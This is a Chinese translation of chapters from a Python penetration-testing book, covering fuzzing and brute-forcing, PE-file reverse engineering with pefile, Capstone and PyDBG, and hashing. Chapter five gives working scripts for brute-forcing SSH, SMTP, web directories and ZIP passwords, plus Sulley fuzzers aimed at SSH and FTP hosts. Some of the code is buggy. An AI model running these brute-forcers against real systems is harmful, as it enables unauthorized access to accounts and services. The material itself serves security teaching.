Python-高效渗透测试-二-

109 阅读26分钟

Python 高效渗透测试(二)

原文:annas-archive.org/md5/DB873CDD9AEEB99C3C974BBEDB35BB24

译者:飞龙

协议:CC BY-NC-SA 4.0

第五章:模糊和暴力破解

安全测试人员最有用的工具之一是模糊测试工具,用于测试应用程序的参数。模糊测试在发现安全漏洞方面非常有效,因为它可以通过扫描应用程序的攻击面来发现弱点。模糊生成器可以测试应用程序的目录遍历、命令执行、SQL 注入和跨站脚本漏洞。

最好的模糊生成器是高度可定制的,因此在本章中,我们将学习如何构建可以用于特定应用程序的自己的模糊生成器。

本章涵盖的主题如下:

  • 模糊和暴力破解密码

  • SSH 暴力破解

  • SMTP 暴力破解

  • 暴力破解目录和文件位置

  • 暴力破解密码保护的 zip 文件

  • Sulley 模糊框架

模糊化

一般来说,模糊化过程包括以下阶段:

  • 识别目标:对于模糊化应用程序,我们必须确定目标应用程序。例如,具有特定 IP 并在端口 21 上运行的 FTP 服务器。

  • 识别输入:正如我们所知,漏洞存在是因为目标应用程序接受了格式不正确的输入并在未经过消毒的情况下进行处理。因此,我们必须确定应用程序接受的输入。例如,在 FTP 服务器中,用户名和密码是输入。

  • 创建模糊数据:在获取所有输入参数后,我们必须创建无效的输入数据发送到目标应用程序。模糊数据通常被称为有效载荷。

  • 模糊化:创建模糊数据后,我们必须将其发送到目标应用程序。

  • 监视异常和日志记录:现在我们必须观察目标应用程序的有趣响应和崩溃,并保存这些数据以进行手动分析。监视 Web 应用程序的模糊测试有点不同,因为模糊测试可能不会使目标应用程序崩溃。我们必须依赖错误消息和响应;确保记下任何此类意外响应以进行手动分析。有时应用程序可能会在错误消息中透露内部构建块。

  • 确定可利用性:模糊化后,我们必须检查有趣的响应或导致崩溃的输入。这可能有助于利用目标应用程序。并非所有崩溃都会导致可利用的漏洞。

模糊生成器的分类

基于目标、使用的攻击向量和模糊化方法,存在许多模糊化的分类。模糊化目标包括文件格式、网络协议、命令行参数、环境变量、Web 应用程序等。模糊化可以根据生成测试用例的方式进行广泛分类。它们是突变模糊化(转储)和生成模糊化(智能)。

突变(转储)模糊生成器

创建完全随机输入的模糊生成器称为突变或转储模糊生成器。这种类型的模糊生成器盲目地突变现有的输入值。但它缺乏可理解的数据格式或结构。例如,它可以替换或附加随机数据片段到所需的输入。

智能模糊生成器

生成模糊生成器从头开始创建输入,而不是突变现有输入。因此,它需要一定程度的智能,以生成对目标应用程序至少有些意义的输入。

与突变模糊生成器相比,这种类型将了解文件格式、协议等。此外,这种类型的模糊生成器难以创建,但更有效。

模糊和暴力破解密码

密码可以通过猜测或尝试使用每种可能的单词和字母组合来破解。如果密码很复杂,包括数字、字符和特殊字符的组合,可能需要几小时、几周或几个月。

字典攻击

从可能被用作密码的单词开始,测试所有可能的密码。这种方法与我们对注入所做的方法相同。

我们可以从字典文件中读取密码并在应用程序中尝试:

with open('password-dictionary.txt') as f: 
    for password in f: 
        try: 
                # Use the password to try login 

                print "[+] Password Found: %s" % password 
                break; 
        except : 
                print "[!] Password Incorrect: %s" % password 

在这里,我们读取字典文件并在我们的脚本中尝试每个密码。当特定密码有效时,它将在控制台中打印出来。

提示

您可以在这里下载整个模糊数据库列表:github.com/fuzzdb-project/fuzzdb

SSH 暴力破解

我们可以使用 Python 脚本来自动化暴力破解攻击以破解 SSH 登录。在这里,我们尝试多个用户名和密码以绕过 SSH 身份验证,使用自动化的 Python 脚本。对于 SSH 的暴力破解,我们必须使用一个名为paramiko的模块,它让我们连接到 SSH。

首先,我们导入所需的模块:

import paramiko, sys, os, socket  
import itertools,string,crypt  

然后我们初始化静态变量,如密码大小、目标 IP、目标端口和用户:

PASS_SIZE = 5 
IP = "127.0.0.1" 
USER = "root" 
PORT=22 

var = itertools.combinations(string.digits,PASS_SIZE) 

检查每个密码:

try: 
    for i in var: 
        passwd = ''.join(i) 

        ssh_client = paramiko.SSHClient() 
        ssh_client.load_system_host_keys() 
           ssh_clienth.set_missing_host_key_policy(paramiko.MissingHostKeyPolicy()) 
        try: 
            ssh.connect(IP , port=PORT, username=USER, password=passwd) 
            print "Password Found= "+passwd 
            break 
        except paramiko.AuthenticationException, error: 
            print "Faild Attempt: "+passwd 
            continue 
        except socket.error, error: 
            print error 
            continue 
        except paramiko.SSHException, error: 
            print error 
            continue 
        except Exception, error: 
            print "Unknown error: "+error 
            continue     
        ssh.close() 

except Exception,error : 
    print error  

我们可以使用线程模块使此脚本多线程化:

import paramiko, sys, os, socket, threading, time  
import itertools,string,crypt 

PASS_SIZE = 5 

def bruteforce_list(charset, maxlength): 
    return (''.join(candidate) 
        for candidate in itertools.chain.from_iterable(itertools.product(charset, repeat=i) 
        for i in range(1, maxlength + 1))) 

def attempt(Password): 

    IP = "127.0.0.1" 
    USER = "rejah" 
    PORT=22 

    try: 

        ssh = paramiko.SSHClient() 
        ssh.load_system_host_keys() 
        ssh.set_missing_host_key_policy(paramiko.MissingHostKeyPolicy()) 

        try: 
            ssh.connect(IP , port=PORT, username=USER, password=Password) 
            print "Connected successfully. Password = "+Password 
        except paramiko.AuthenticationException, error: 
            print "Incorrect password: "+Password 
            pass 
        except socket.error, error: 
            print error 
            pass 
        except paramiko.SSHException, error: 
            print error 
            print "Most probably this is caused by a missing host key" 
            pass 
        except Exception, error: 
            print "Unknown error: "+error 
            pass     
        ssh.close() 

    except Exception,error : 
        print error 

letters_list = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQSTUVWXYZ1234567890!@#$&()'  

在这里,我们使用线程来使模糊测试并行运行,以提高速度:

for i in bruteforce_list(letters_list, PASS_SIZE): 
    t = threading.Thread(target=attempt, args=(i)) 
    t.start() 
    time.sleep(0.3) 

sys.exit(0) 

SMTP 暴力破解

简单邮件传输协议SMTP)是网络上的电子邮件传输标准。电子邮件服务器和其他邮件传输代理使用 SMTP 来发送和接收电子邮件。电子邮件客户端应用程序通常仅使用 SMTP 发送电子邮件。要对 SMTP 进行暴力破解密码审计,我们可以使用smptlib模块,它可以帮助我们连接到 SMTP。

像往常一样,导入所需的模块:

import sys, smtplib, socket 
from smtplib import SMTP 

设置IPUSER。您也可以将这些值作为输入参数获取:

IP = "127.0.0.1" 
USER = "admin"  

检查 SMTP 中的每个密码列表中的密码:

attackNumber = 1 
with open('passwordlist.txt') as f: 
    for PASSWORD in f: 
         try: 
               print "-"*12 
               print "User:",USER,"Password:",PASSWORD 
               smtp = smtplib.SMTP(IP) 
               smtp.login(user, value) 
               print "\t\nLogin successful:",user, value 
               smtp.quit() 
               work.join() 
               sys.exit(2) 
         except(socket.gaierror, socket.error, socket.herror,
         smtplib.SMTPException), msg:  
               print "An error occurred:", msg 

暴力破解目录和文件位置

我们可以编写一个自定义的蜘蛛脚本来爬取目标网站,以发现有关 Web 应用程序的足够信息。然而,通常会有很多配置文件、剩余的开发文件、备份文件、调试脚本和许多其他文件,这些文件可以提供有关 Web 应用程序的敏感信息,或者公开一些开发人员没有打算公开的功能。

发现这种类型的内容的方法是使用暴力破解来追踪常见的文件名和目录。拥有我们自己的自定义脚本总是更好的,这将帮助我们自定义目标文件并根据我们的要求过滤结果。

首先,像往常一样,我们导入所需的模块。这里我们使用线程来并行运行多个请求。但是请确保保持线程数量较低;大量的线程可能会导致拒绝服务:

import urllib 
import urllib2 
import threading 
import Queue 

threads           = 50     # Be aware that a large number of threads can cause a denial of service!!! 
target_url        = "http://www.example.com" 
wordlist_file     = "directory-list.txt"  
user_agent        = "Mozilla/5.0 (X11; Linux x86_64; rv:19.0) Gecko/20100101 Firefox/19.0" 

现在我们定义一个函数来读取单词列表文件并形成一个用于暴力破解的单词数组:

def wordlist(wordlist_file): 

    wordlist_file = open(wordlist_file,"rb") 
    raw_words = wordlist_file.readlines() 
    wordlist_file.close() 

    words        = Queue.Queue() 

    # iterating each word in the word file 
    for word in raw_words:       

        word = word.rstrip() 
        words.put(word) 

    return words  

接下来,我们将定义一个函数,用于使用单词列表中单词的可能扩展名来暴力破解 URL,检查文件扩展名的单词,如果不是文件,则添加额外的斜杠(/),并为每个单词创建一个可能扩展名和目录斜杠的尝试列表。创建尝试列表后,检查附加到提供的 URL 的尝试列表中的每个条目:

def dir_bruteforce(extensions=None): 

    while not word_queue.empty(): 
        attempt = word_queue.get() 

        attempt_list = [] 

        # check for a file extension, if not it's a directory 
        if "." not in attempt: 
            attempt_list.append("/%s/" % attempt) 
        else: 
            attempt_list.append("/%s" % attempt) 

        # if we want to bruteforce extensions 
        if extensions: 
            for extension in extensions: 
                attempt_list.append("/%s%s" % (attempt,extension)) 

        # iterate with list of attempts         
        for brute in attempt_list: 

            url = "%s%s" % (target_url,urllib.quote(brute)) 

            try: 
                headers = {} 
                headers["User-Agent"] = user_agent 
                r = urllib2.Request(url,headers=headers) 

                response = urllib2.urlopen(r) 

                if len(response.read()): 
                    print "[%d] => %s" % (response.code,url) 

            except urllib2.HTTPError,e: 
               # print output If error code is not 404 
                if e.code != 404: 
                    print "!!! %d => %s" % (e.code,url) 

                pass 

word_queue = wordlist(wordlist_file) 
extensions = [".php",".bak",".orig",".inc"]  

然后我们以线程模式启动暴力破解:

for i in range(threads): 
            t = threading.Thread(target=dir_bruteforce,args=(extensions,)) 
            t.start() 

暴力破解密码保护的 ZIP 文件

正如我们讨论的,可以使用相同的方法来破解受保护的 ZIP 文件中的密码。为此,我们使用zipfile模块:

import zipfile 

filename = 'test.zip' 
dictionary = 'passwordlist.txt' 

password = None 
file_to_open = zipfile.ZipFile(filename) 
with open(dictionary, 'r') as f: 
   for line in f.readlines(): 
         password = line.strip('\n') 
         try: 
               file_to_open.extractall(pwd=password) 
               password = 'Password found: %s' % password 
               print password 
         except: 
               pass 

Sulley 模糊测试框架

通过使用模糊测试框架,我们可以更快地创建模糊器。模糊测试框架提供了一个灵活和可重用的开发环境,有助于快速构建模糊器。

Sulley 是一个 Python 模糊测试框架,由多个可扩展组件组成,可用于模糊文件格式、网络协议、命令行参数等。Sulley 可以监视网络并系统地记录。它还可以监视目标的健康状况。

安装

Sulley 依赖于 PaiMei 和 pcapy。PaiMei 是一个逆向工程框架,用于调试模糊应用程序和pcap捕获数据包。

PaiMei 有很多依赖项,如提供 Python 数据库 API 的 MySQL 数据库服务器,wxPython,GraphViz,Oreas GDE,uDraw,pydot 和 ctypes。因此,我们必须首先安装这些依赖项。

在 Debian Linux 中,我们可以从apt-get存储库安装 pydot,ctypes,wxPython 和 GraphViz:

$ apt-get instal
l python-ctypeslib python-pydot python-wxgtk2.8 python-mysqldb python-pygraphviz

然后我们可以从www.openrce.org/downloads/details/208下载 PaiMei。

解压缩 zip 文件后,运行_install_requirements.py文件以安装其要求。之后,如果主机机器上没有安装 MySql 服务器,则安装 MySql 服务器:

 $ apt-get install mysql-server

然后,使用__setup_mysql.py文件配置 MySQL 服务器。为此,请使用以下 Python 脚本运行您的 MySQL 服务器凭据作为参数:

 $ python __setup_mysql.py hostname username password

然后通过运行设置脚本来安装 PaiMei,就像我们为其他 Python 模块所做的那样:

$ python setup.py build
$ python setup.py install

我们还需要安装pcapy库。要安装pcapy库,我们可以依赖于apt-get存储库:

 $ apt-get install python-pcapy python-impacket

现在我们已经安装了所有的先决条件。因此,我们可以克隆sulley库并使用它:

 $ git clone https://github.com/OpenRCE/sulley.git

然后进入sulley文件夹:

 $ cd sulley

要验证安装,请使用 Python 运行process_monitor.py脚本和network_monitor.py

$ sudo python process_monitor.py

输出如下:

安装

$ python network_monitor.py

输出如下:

安装

要在 Windows 上安装,就像在 Linux 上一样,首先安装先决条件。

要安装 PaiMei,请像在 Linux 上那样从链接下载并运行__install_requirements.py

 $ python __install_requirements.py

这将安装 PaiMei 的依赖项(ctypes,pydot,wxPython,MySQLdb,Graphviz,Oreas GDE 和 uDraw)。

然后,运行 MySQL 设置script.python __setup_mysql.py主机名用户名密码。

之后,通过运行构建和安装命令来安装 PaiMei 库:

$ python setup.py build
$ python setup.py install

然后我们需要下载并安装libdasm。从libdasm.googlecode.com/files/libdasm-beta.zip下载并运行设置。

然后,从pip安装pcapy

 $ pip install pcapy

现在,克隆sulley库:

 $ git clone https://github.com/OpenRCE/sulley.git

我们可以通过运行process_monitor_unix.pynetwork_monitor.py来检查安装。

提示

安装有任何问题吗?这是 Windows 的详细安装说明:github.com/OpenRCE/sulley/wiki/Windows-Installation

使用 sulley 进行脚本编写

在我们开始使用 sulley 编写模糊脚本之前,我们需要对将在 sulley 中使用的语法有基本的了解。当我们编写一个使用 sulley 模糊特定目标的 Python 脚本时,我们需要定义所有必需的对象。所有 sulley 命令都以s_前缀开头。以下是将用于构建脚本的几个部分:

  • 数据模型:定义我们将要模糊的协议的属性。

  • 状态模型:定义模糊网络协议不同状态之间的可能交互。例如,经过身份验证和未经身份验证的状态。

  • 目标:定义要模糊的目标。例如,服务器的 IP 和端口。

  • 代理:监视模糊进程崩溃,拦截相关网络数据包,重新启动崩溃的进程等的程序。这在目标计算机上运行。

  • 监视界面:帮助查看模糊处理的结果。

基元

要创建一个静态的不可变值,我们可以使用s_static()

要创建一个四字节的单词,我们可以使用s_int()。例如,创建以555开头并以 ASCII 格式化的变异整数:

s_int("555", format="ascii", fuzzable=True) 

块和组

原语可以嵌套在块内。这样的块可以以s_block_start()开始,并以s_block_end()结束。一个组是原语的集合;我们可以用s_group()开始一个组。一个静态组原语的示例列出了各种 HTTP 方法如下:

s_group("methods", values=["GET", "HEAD", "POST", "TRACE"])   

分组允许我们将块附加到组原语上,以指定该块应循环遍历所有可能的方式。我们可以通过块迭代这些静态 HTTP 方法如下。这定义了一个名为"body"的新块,并将其与前面的组关联起来:

if s_block_start(“body”, group=”method”)
 s_delim("/")
 s_string("index.html")
 s_delim(" ")
s_block_end()

会话

我们可以将多个请求绑定在一起形成一个会话。Sulley 能够通过在图中将请求链接在一起来模糊深入协议。Sulley 通过图结构,从根节点开始,沿途模糊每个组件。

现在我们可以编写一个脚本来模糊测试 SSH 连接。

首先,导入模块sulleyparamiko。确保脚本位于我们从 GitHub 下载的 sulley 程序的根目录中:

from sulley import * 
import sulley.primitives 
import paramiko 

然后,将用户名和密码设置为字符串原语。Sulley 提供s_string()原语来表示这些字段,以表示其中包含的数据是可模糊的字符串。字符串可以是任何东西,如电子邮件地址、主机名、用户名、密码等等。

user = primitives.string("user") 
pwd = primitives.string("password") 

然后,初始化 paramiko SSH 客户端以尝试连接到 SSH:

client = paramiko.SSHClient() 
client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 

接下来我们可以开始模糊测试:

while(user.mutate() and pwd.mutate()): 
   username = user.value 
   password = pwd.value 
   try: 
         # Try to connect to the server with the mutated credentials 
         client.connect("192.168.1.107", 22, username, password, timeout=5) 
         client.close() 
   except Exception,e: 
         print "error! %s" % e 

这将尝试变异用户名和密码,并尝试使用 paramiko 连接到服务器。

同样,我们可以对 FTP 协议进行模糊测试。在这里,我们从 requests 和 sulley 导入 FTP:

from sulley import * 
from requests import ftp 

现在,我们指示 sulley 在开始模糊测试之前等待横幅:

def recv_banner(sock): 
   sock.recv(1024) 

然后,我们初始化会话,这样可以跟踪我们的模糊测试。这使我们能够在先前离开的地方停止和重新开始模糊测试:

sess = sessions.session("ftp_test.session") 

现在我们可以使用目标 FTP 服务器的 IP 和端口号来定义我们的目标:

target = sessions.target("192.168.1.107",21) 

然后,我们可以指示网络嗅探器在同一主机上设置自己,并监听26300

target.netmon = pedrpc.client("192.168.1.107",26300)  

现在,设置目标并获取 FTP 横幅:

sess.add_target(target) 
sess.pre_send(recv_banner) 

尝试认证 FTP 连接:

sess.connect(s_get("user")) 
sess.connect(s_get("user"),s_get("pass")) 

认证后,我们可以使用需要认证的命令,如下所示:

sess.connect(s_get("pass"),s_get("cwd")) 
sess.connect(s_get("pass"),s_get("mkd")) 
sess.connect(s_get("pass"),s_get("rmd")) 
sess.connect(s_get("pass"),s_get("list")) 
sess.connect(s_get("pass"),s_get("delete")) 
sess.connect(s_get("pass"),s_get("port"))  

最后,指示 sulley 开始fuzz

sess.fuzz()  

提示

您可以在这里了解更多关于 sulley 及其用法:www.fuzzing.org/wp-content/SulleyManual.pdf

总结

我们已经了解了模糊测试和密码暴力破解的基本方法。现在我们可以扩展脚本以满足我们自己的需求。有许多模糊测试和暴力破解工具可用,但自定义脚本总是更好以获得我们特定的结果。我们将在下一章中更多地讨论使用 Python 库进行调试和逆向工程。

第六章:调试和逆向工程

调试器是逆向工程中使用的主要工具。使用调试器,我们可以在运行时执行分析以了解程序。我们可以识别调用链并跟踪间接调用。使用调试器,我们可以分析和监视程序运行时,以指导我们的逆向工程。在本章中,我们将学习如何在脚本中使用调试器。

本章涵盖的主题如下:

  • 可移植可执行文件分析

  • 使用 Capstone 进行反汇编

  • 带有 Capstone 的 PE 文件

  • 使用 PyDBG 进行调试

逆向工程

逆向工程分析主要有三种类型:

  • 静态分析:分析二进制文件的内容。这有助于确定可执行部分的结构,并打印出可读部分,以获取有关可执行文件目的的更多细节。

  • 动态分析:这种类型将执行二进制文件,无论是否附加调试器,以发现其目的和可执行文件的工作方式。

  • 混合分析:这是静态和动态分析的混合。在静态分析之间重复,然后进行动态调试,将更好地了解程序。

可移植可执行文件分析

任何 UNIX 或 Windows 二进制可执行文件都将具有描述其结构的头部。这包括其代码的基地址、数据部分和可以从可执行文件中导出的函数列表。当操作系统执行可执行文件时,首先操作系统读取其头部信息,然后加载二进制数据从二进制文件中以填充相应进程的代码和数据部分的地址内容。

可移植可执行文件PE)文件是 Windows 操作系统可以执行或运行的文件类型。我们在 Windows 系统上运行的文件是 Windows PE 文件;这些文件可以具有 EXE、DLL(动态链接库)和 SYS(设备驱动程序)扩展名。此外,它们包含 PE 文件格式。

Windows 上的二进制可执行文件具有以下结构:

  • DOS 头部(64 字节)

  • PE 头部

  • 部分(代码和数据)

我们现在将详细研究每一种。

DOS 头部

DOS 头部以魔术数字4D 5A 50 00开头(前两个字节是字母MZ),最后四个字节(e_lfanew)指示二进制可执行文件中 PE 头部的位置。所有其他字段都不相关。

PE 头部

PE 头部包含更多有趣的信息。以下是 PE 头部的结构:

PE 头部

PE 头部由三部分组成:

  • 4 字节的魔术代码

  • 20 字节的文件头,其数据类型为IMAGE_FILE_HEADER

  • 224 字节的可选头,其数据类型为IMAGE_OPTIONAL_HEADER32

此外,可选头部有两部分。前 96 字节包含诸如主要操作系统和入口点之类的信息。第二部分由 16 个条目组成,每个条目有 8 个字节,形成 128 字节的数据目录。

注意

您可以在以下链接中了解更多关于 PE 文件的信息:www.microsoft.com/whdc/system/platform/firmware/PECOFF.mspx 以及文件头中使用的结构:msdn2.microsoft.com/en-gb/library/ms680198.aspx

我们可以使用pefile模块(一个用于处理 PE 文件的多平台全功能 Python 模块)在 Python 中获取这些文件头的所有细节。

加载 PE 文件

加载文件就像在模块中创建 PE 类的实例一样简单,参数是可执行文件的路径。

首先,导入pefile模块:

Import pefile

使用可执行文件初始化实例:

pe = pefile.PE('path/to/file')

检查头部

在交互式终端中,我们可以对 PE 文件头进行基本检查。

像往常一样,导入pefile并加载可执行文件:

>>>import pefile 
>>>pe = pefile.PE('md5sum.exe') 
>>> dir(pe)

这将打印对象。为了更好地理解,我们可以使用pprint模块以可读格式打印此对象:

>>> pprint.pprint(dir(pe))

这将以可读格式列出所有内容,如下所示:

检查标头

我们还可以打印特定标头的内容,如下所示:

>>> pprint.pprint(dir(pe.OPTIONAL_HEADER))

您可以使用 hex()获取每个标头的十六进制值:

>>>hex( pe.OPTIONAL_HEADER.ImageBase)

检查节

要检查可执行文件中的节,我们必须迭代pe.sections

>>>for section in pe.sections:
 print (section.Name,
      hex(section.VirtualAddress),
      hex(section.Misc_VirtualSize),
      section.SizeOfRawData)

PE 打包器

打包器是用于压缩 PE 文件的工具。这将减小文件的大小,并为被静态反向工程的文件添加另一层混淆。尽管打包器是为了减小可执行文件的总体文件大小而创建的,但后来,许多恶意软件作者利用了混淆的好处。打包器将压缩的数据包装在一个工作的 PE 文件结构中,并将 PE 文件数据解压缩到内存中,并在执行时运行它。

我们可以使用签名数据库来检测可执行文件是否被打包。可以通过搜索互联网找到签名数据库文件。

为此,我们需要另一个模块peutils,它与pefile模块一起提供。

您可以从本地文件或 URL 加载签名数据库:

Import peutils
signatures = peutils.SignatureDatabase('/path/to/signature.txt')

您还可以使用以下内容:

signatures = peutils.SignatureDatabase('handlers.sans.org/jclausing/userdb.txt')

加载签名数据库后,我们可以使用这个数据库运行 PE 实例,以识别使用的打包器的签名:

matches = signatures.match(pe, ep_only = True)
print matches

这将输出可能使用的打包器。

另外,如果我们检查打包的可执行文件中的节名称,它们将有轻微的差异。例如,使用 UPX 打包的可执行文件,其节名称将是UPX0UPX1等。

列出所有导入和导出的符号

导入项可以列出如下:

for entry in pe.DIRECTORY_ENTRY_IMPORT:
  print entry.dll
  for imp in entry.imports:
    print '\t', hex(imp.address), imp.name

同样,我们无法列出导出项:

for exp in pe.DIRECTORY_ENTRY_EXPORT.symbols:
  print hex(pe.OPTIONAL_HEADER.ImageBase + exp.address), exp.name, exp.ordinal

使用 Capstone 进行反汇编

反汇编是组装的相反过程。反汇编器试图从二进制机器代码创建汇编代码。为此,我们使用一个名为Capstone的 Python 模块。Capstone 是一个免费的、多平台和多架构的反汇编引擎。

安装后,我们可以在我们的 Python 脚本中使用这个模块。

首先,我们需要运行一个简单的测试脚本:

from capstone import *
cs = Cs(CS_ARCH_X86, CS_MODE_64)
for i in cs.disasm('\x85\xC0', 0x1000)
   print("0x%x:\t%s\t%s" %(i.address, i.mnemonic, i.op_str))

脚本的输出将如下所示:

0x1000:     test  eax, eax

第一行导入模块,然后使用Cs初始化capstone Python 类,它需要两个参数:硬件架构和硬件模式。在这里,我们指示对 x86 架构的 64 位代码进行反汇编。

下一行迭代代码列表,并将代码传递给capstone实例cs中的disasm()disasm()的第二个参数是第一个安装的地址。disasm()的输出是Cslnsn类型的安装列表。

最后,我们打印出一些这些输出。Cslnsn公开了有关已反汇编安装的所有内部信息。

其中一些如下:

  • Id:指令的指令 ID

  • 地址:指令的地址

  • 助记符:指令的助记符

  • op_str:指令的操作数

  • size:指令的大小

  • 字节:指令的字节序列

像这样,我们可以使用 Capstone 反汇编二进制文件。

使用 Capstone 的 PEfile

接下来,我们使用capstone反汇编器对我们使用pefile提取的代码进行反汇编,以获取组装代码。

像往常一样,我们首先导入所需的模块。在这里,这些是capstonepefile

from capstone import *
import pefile
pe = pefile.PE('md5sum.exe')
entryPoint = pe.OPTIONAL_HEADER.AddressOfEntryPoint
data = pe.get_memory_mapped_image()[entryPoint:]
cs = Cs(CS_ARCH_X86, CS_MODE_32)
for i in cs.disasm(data, 0x1000):
    print("0x%x:\t%s\t%s" %(i.address, i.mnemonic, i.op_str))

IMAGE_OPTIONAL_HEADER中的AddressofEntryPoint值是相对于图像基地址的入口点函数的指针。对于可执行文件,这是应用程序代码开始的确切位置。因此,我们使用pefile获取代码的起始位置,如pe.OPTIONAL_HEADER.AddressOfEntryPoint,并将其传递给反汇编器。

调试

调试是修复程序中的错误的过程。调试器是可以运行并监视另一个程序执行的程序。因此,调试器可以控制目标程序的执行,并监视或更改目标程序的内存和变量。

断点

断点有助于在调试器中选择的位置停止目标程序的执行。在那时,执行停止并控制传递给调试器。

断点有两种不同的形式:

  • 硬件断点:硬件断点需要 CPU 的硬件支持。它们使用特殊的调试寄存器。这些寄存器包含断点地址、控制信息和断点类型。

  • 软件断点:软件断点用一个陷阱调试器的指令替换原始指令。这只能在执行时中断。它们之间的主要区别是硬件断点可以设置在内存上。但是,软件断点不能设置在内存上。

使用 PyDBG

我们可以使用 PyDBG 模块在运行时调试可执行文件。我们可以通过一个基本的 PyDBG 脚本来了解它的工作原理。

首先,我们导入模块:

from pydbg import *
import sys

然后我们定义一个处理断点的函数。它也将pydbg实例作为参数。在这个函数内部,它打印出进程的执行上下文,并指示pydbg继续执行:

define breakpoint_handler(dbg):
   print dbg.dump_context()
   return DBG_CONTINUE

然后我们初始化pydbg实例,并设置handler_breakpoint函数来处理断点异常:

dbg = pydbg()
dbg.set_callback(EXEPTION_BREAKPOINT, breakpoint_handler)

然后附加需要使用pydbg调试的进程的进程 ID:

dbg.attach(int(sys.argv[1]))

接下来我们将设置触发断点的地址。在这里,我们使用bp_set()函数,它接受三个参数。第一个是设置断点的地址,第二个是可选的描述,第三个参数指示pydbg是否恢复此断点:

dbg.bp_set(int(sys.argv[1], 16), "", 1)

最后,在事件循环中启动pydbg

dbg.debug_event_loop()

在这个例子中,我们将断点作为参数传递给这个脚本。所以,我们可以按照以下方式运行这个脚本:

$ python debug.py 1234 0x00001fa6

注意

pydbg包含许多其他有用的功能,可以在文档中找到:pedramamini.com/PaiMei/docs/PyDbg/public/pydbg.pydbg.pydbg-class.html

总结

我们已经讨论了可以用 Python 编程逆向工程和调试二进制文件的基本工具。现在你将能够编写自定义脚本来调试和逆向工程可执行文件,这将有助于恶意软件分析。我们将在下一章讨论一些 Python 中的加密、哈希和转换函数。

第七章:加密,哈希和转换函数

密码学可以在某些类型的信息安全漏洞中发挥重要作用,因为它有助于实现单向安全交付认证数据,认证令牌的安全交付,访问控制等。单向密码函数用于网站中以一种无法检索的方式存储密码。在本章中,我们将讨论 Python 中的各种密码函数。

本章涵盖的主题如下:

  • 哈希函数

  • 秘密密钥(加密算法)

  • 公钥算法

密码算法

以下三种类型的密码算法最常用:

  • 哈希函数:哈希函数也被称为单向加密,没有密钥。哈希函数为明文输入输出固定长度的哈希值,不可能恢复明文的长度或内容。

  • 密钥哈希函数:密钥哈希用于构建消息认证码MACs);MAC 旨在防止暴力攻击。因此,它们被故意设计成缓慢的。

  • 对称加密/秘密密钥(加密算法):加密算法使用可变密钥为一些文本输入输出密文,我们可以使用相同的密钥解密密文。

  • 公钥算法:对于公钥算法,我们有两个不同的密钥:一个用于加密,另一个用于解密。因此,我们可以共享可以加密消息的公钥,但只能使用未共享的解密密钥解密。

哈希函数

哈希函数主要用于加密学中检查消息的完整性,数字签名,操作检测,指纹和密码存储。如果根据输出无法猜测输入字符串,则函数是一个好的哈希函数。由于哈希函数将随机数量的数据转换为固定长度的字符串,可能会有一些输入哈希为相同的字符串。哈希函数被创建为使这些碰撞极其难以找到。最常用的哈希函数如下:

哈希函数

MD2MD4MD5具有128 位长度,不安全。SHA-1具有160 位长度,但也不安全。

哈希消息认证码(HMAC)

哈希消息认证码HMAC)在需要检查完整性真实性时使用。它为服务器和客户端提供公钥和私钥。私钥只为服务器和客户端所知,但公钥为所有人所知。

在 HMAC 的情况下,密钥和消息在单独的步骤中被哈希。客户端通过将数据与私钥合并并哈希来为每个请求创建一个哈希,并将其作为请求的一部分发送。在服务器接收到请求后,它生成另一个哈希并将其与接收到的哈希进行比较。如果它们相等,那么我们可以认为客户端是真实的。

消息摘要算法(MD5)

MD5 用于通过 128 位消息摘要来保持数据完整性。根据标准,由于两条消息可能具有相同的消息摘要作为输出,或者可能创建一个错误的消息,因此这是计算上不可行的。

安全哈希算法(SHA)

SHA系列在安全应用和协议中被广泛使用,包括 TLS/SSL,PGP 和 SSH。SHA-1 用于版本控制系统,如 Git 和 Mercurial,用于标识修订版本和检测数据损坏。有关 SHA-0 和 SHA-1 报告了一些弱点。因此,建议使用 SHA-2 系列的哈希函数。我们应该在需要抗碰撞的应用程序上使用 SHA-2 系列。

Python 中的 HMAC

使用 Python 简单地创建文件的哈希。要使用默认的 MD5 算法创建 HMAC 哈希,我们可以使用 Python 中的hmac模块:

import hmac 

hmac_md5 = hmac.new('secret-key') 

f = open('sample-file.txt', 'rb') 
try: 
    while True: 
        block = f.read(1024) 
        if not block: 
            break 
        hmac_md5.update(block) 
finally: 
    f.close() 

digest = hmac_md5.hexdigest() 
print digest 

第一行导入了hmac模块。hmac模块从 Python 2.2 开始默认包含在 Python 安装中。然后,使用共享的密钥作为参数启动hmac实例。

然后以 1024 字节块读取文件并创建digest,最后打印digest

尽管默认的hmac模块 Python 的加密算法是 MD5,被认为是不安全的,我们应该使用 SHA 算法。要使用 SHA256,我们必须使用hashlib模块。从 Python 2.5 版本开始,hashlib随默认 Python 安装。因此,我们可以更新前面的脚本以使用 SHA256:

import hmac 
import hashlib 

digest_maker = hmac.new('secret-key', '', hashlib.sha256) 

f = open('sample-file.txt', 'rb') 
try: 
    while True: 
        block = f.read(1024) 
        if not block: 
            break 
        digest_maker.update(block) 
finally: 
    f.close() 

digest = digest_maker.hexdigest() 
print digest 

同样,我们可以在hmac中包含其他hashlib方法。

hashlib 算法

要使用特定的哈希算法,我们可以使用hashlib模块中的适当构造函数创建哈希对象,该对象可用于与哈希进行交互。hashlib模块由 OpenSSL 支持,因此hashlib中的所有算法,如md5sha1sha224sha256sha384sha512都可用。

hashlib 算法

以下是重要的hashlib方法:

  • hashlib.md5(): 创建 MD5 哈希对象

  • hashlib.sha1(): 创建 SHA1 哈希对象

  • hashlib.new(hash_name): 通过名称传递算法以创建哈希对象

例如,尝试以下代码:

try: 
    hash_name = sys.argv[1] 
except IndexError: 
    print 'Specify the hash name as the first argument.' 
else: 
    try: 
        data = sys.argv[2] 
    except IndexError:     
        print 'Specify the data to hash as the second argument.' 
h = hashlib.new(hash_name) 

这将创建一个哈希对象,该对象使用我们作为第一个参数传递的哈希算法名称。方法update()将重复调用哈希计算器并相应地更新摘要。

密码哈希算法

MD5、SHA1 和所有 SHA 变种都旨在非常快速。在密码的情况下,快速算法容易受到暴力破解攻击的影响,因为 MD5 和 SHA1 的哈希可以以每秒数百万或数十亿的速度产生。有一些专门设计用于密码的算法。我们可以使用 Argon2,并在可用时将其视为首选。另外两个主要选项是pbkdf2bcrypt。这些函数计算成本很高,因此可以保护您免受暴力破解和字典攻击。

我们可以使用argon2模块来使用 Argon2:

import argon2 
